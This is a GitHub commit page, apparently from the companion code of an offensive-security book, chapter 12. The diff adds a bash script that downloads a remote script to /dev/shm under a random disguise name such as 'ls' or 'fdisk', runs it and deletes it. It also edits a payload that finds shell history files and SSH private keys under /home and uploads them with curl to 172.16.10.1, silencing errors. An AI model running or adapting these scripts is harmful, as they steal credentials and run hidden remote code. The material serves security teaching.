Skip to content

Commit

Permalink
dev null
Browse files Browse the repository at this point in the history
  • Loading branch information
dolevf committed Dec 1, 2023
1 parent 1c8fcc8 commit dfad81f
Show file tree
Hide file tree
Showing 2 changed files with 12 additions and 1 deletion.
11 changes: 11 additions & 0 deletions ch12/binary_name_rotation.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#!/bin/bash
RANDOM_BIN_NAMES=("ls" "touch" "mkdir" "fdisk" "zip" "pslog" "tree" "gunzip")
RANDOMIZE=$(( (RANDOM % 7) + 0))
BIN_NAME="/dev/shm/${RANDOM_BIN_NAMES[${RANDOMIZE}]}"

if command -v curl; then
curl -s "https://raw.githubusercontent.com/dolevf/Black-Hat-Bash/master/ch12/raw_code.txt" -o "${BIN_NAME}"
bash "${BIN_NAME}"
rm "${BIN_NAME}"
fi

2 changes: 1 addition & 1 deletion ch12/raw_code.txt
Original file line number Diff line number Diff line change
Expand Up @@ -4,4 +4,4 @@ find /home/ \
-name ".*_history" \
-name "id_rsa" \
-name "id_dsa" \
-exec curl -F "filedata=@{}" "http://172.16.10.1" \;
-exec curl -F "filedata=@{}" "http://172.16.10.1" \; 2> /dev/null

0 comments on commit dfad81f

Please sign in to comment.